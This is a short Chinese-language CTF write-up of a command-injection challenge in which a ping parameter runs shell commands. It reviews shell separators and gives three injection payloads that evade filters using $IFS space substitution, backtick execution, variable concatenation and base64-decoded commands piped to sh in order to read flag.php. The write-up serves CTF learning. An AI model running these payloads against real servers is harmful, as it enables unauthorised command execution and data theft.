打开题目,提示在 url 传入 ip 参数
传入 127.0.0.1 发现服务器执行 ping 命令
用分号拼接 linux 命令(顺便复习一下命令连接符分号是依次顺序执行;&&第一个命令成功第二个命令才会执行;||第一个命令成功第二个命令不执行,第一个命令失败第二个执行;|是命令1的正确输出作为命令2的操作对象)
过滤了空格,$IFS$9 绕过后也无法直接读取 flag.php,先读一下 index.php(若不过滤的话,还有 ${IFS}、<、<> 等多种方式可以绕过过滤空格)
payload1,内联执行,将反引号内命令的输出作为输入执行
/?ip=127.0.0.1;cat$IFS$1`ls`
payload2,命令执行变量拼接
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
payload3,过滤 flag、bash,用 sh 执行(Y2F0IGZsYWcucGhw 是 cat flag.php 的 base64-encode)
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
参考:
https://www.ghtwf01.cn/index.php/archives/273/
原文:https://www.cnblogs.com/wkzb/p/13721899.html